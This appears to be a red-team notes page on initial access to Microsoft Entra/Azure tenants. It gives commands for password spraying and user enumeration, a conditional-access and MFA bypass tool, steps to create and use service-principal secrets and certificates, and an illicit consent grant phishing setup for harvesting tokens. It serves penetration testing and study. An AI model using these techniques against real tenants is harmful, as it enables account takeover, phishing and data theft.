Initial Access, Tokens, and MFA

Password Spraying

Password spraying is a reliable method for compromising accounts with poor password security. TREVORspray is a fantastic tool to both quickly enumerate valid users via OneDrive and spray passwords.

# User enumeration
trevorspray --recon evilcorp.com -u emails.txt --threads 10
# PW spray
trevorspray -u ./validemails.txt -p ./pws.txt --delay 60

Note that an Entra tenant with Federated authentication (ADFS in use) will require enumeration through the ADFS server's /adfs/ls/IdpInitiatedSignOn.aspx endpoint. Use BurpSuite or another automated brute-force tool to query for usernames with the form NETBIOSNAME\User. Shorter server responses indicate valid usernames - try NETBIOSNAME\Guest or NETBIOSNAME\Administrator for examples!

Tokens

The Microsoft IDP model centers around the use of JWT access tokens. There are a few important characteristics of these tokens you should be aware of:

  1. Tokens are scoped to a single audience API (aud claim). If the resource domain (such as https://graph.microsoft.com) and the token's aud don't match, the token is rejected.

  2. Tokens contain the issuing tenant ID in the iss claim URL.

  3. Tokens are requested on behalf of client applications, such as the Azure CLI, web portals, or even other API domains. This is important when considering opsec - an HR manager won't often request O365 access tokens using the Azure PowerShell CLI.

It is important to distinguish access tokens from refresh tokens. While access tokens are scoped to a single audience API, refresh tokens are scoped to a family of APIs.

Bypassing CAPs

Conditional access policies implemented by default or custom-created by an organization may impose a variety of controls during authentication, including MFA. Enumerating these blindly is rather difficult, but bypasses may be achieved by varying the request's client application ID (using Microsoft Edge instead of Azure CLI, for example), as well as the User Agent.

This process is easily automated with the tool findmeaccess.

# Find all bypasses for all resources
python findmeaccess.py audit -u username@domain.com -p password --ua_all

Service Principal Authentication

Service principal authentication requires knowing a particular AppId and secret. Note that secret values are exposed only during creation - you will need to make a new one each time. Remember to check for AzRoleAssignments after authentication.

Application IDs in MSGraph are NOT the same as AppIds used for creating the PSCred object.

Get-MgApplication
Get-MgServicePrincipal

# Request new credentials for application/service principal
$params = passwordCredential = @{
displayName = "Password friendly name"
}
Add-MgApplicationPassword -ApplicationId [MGRAPH OBJ ID] -BodyParameter $params

# Craft PSCred, Authenticate
$ApplicationID = Get-MgApplication -ApplicationId [MGRAPH OBJ ID] | select AppId
$securepassword = "secretpw" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $ApplicationId, $SecurePassword
Connect-AzAccount -ServicePrincipal -TenantId $TenantId -Credential $Credential

Certificate Authentication

PFX certificate files can be used to authenticate as service principals in Azure. Note that you will need the service principal's object ID and Azure tenant ID.

# PowerShell
Get-ChildItem -Path C:\Users\Ian\Downloads\sp.pfx | Import-PfxCertificate -CertStoreLocation Cert:\CurrentUser\My -Exportable
$tenantId = "2590ccef-687d-493b-ae8d-441cbab63a72"
$clientId = "20acc5dd-ffd4-41ac-a1a5-d381329da49a"
$certThumbprint = "8641763A94ED35C77DBA10E5A302DDDE29EE6769"

$store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My", "CurrentUser")
$store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadOnly)
$cert = $store.Certificates.Find([System.Security.Cryptography.X509Certificates.X509FindType]::FindByThumbprint, $certThumbprint, $false)[0]
$store.Close()

Connect-AzAccount -CertificateThumbprint $certThumbprint -ApplicationId $clientId -TenantId $tenantId -ServicePrincipal

# Linux
openssl pkcs12 -in sp.pfx -out sp.pem -nodes -clcerts
az login --service-principal -u "20acc5dd-ffd4-41ac-a1a5-d381329da49a" --certificate sp.pem --tenant "2590ccef-687d-493b-ae8d-441cbab63a72"

Illicit Consent Grant

Illicit consent grant attacks involve registering a malicious multi-tenant application with excessive consent permissions. A phishing link may be generated and delivered to a victim - if the victim consents, the attacker may abuse a variety of consented permissions to enumerate tenant email addresses, download/upload OneDrive files, or worse.

  1. Register a multi-tenant application under App Registrations from your attacking tenant.

    1. Ensure the Redirect URL is your attacker controlled domain - you will be harvesting access tokens here.

    2. Create an application secret if you are using the 365Stealer server.

  2. Setup your consented permissions request

    1. Consider whether or not you want to include "High Privilege" permissions which require administrator approval. You may want to stick to "Low Privilege" permissions such as User.Readbasic.All or Files.ReadWrite.All.

  3. Setup the 365Stealer server and begin sending phishing links.

PreviousReconNextEnumeration

Last updated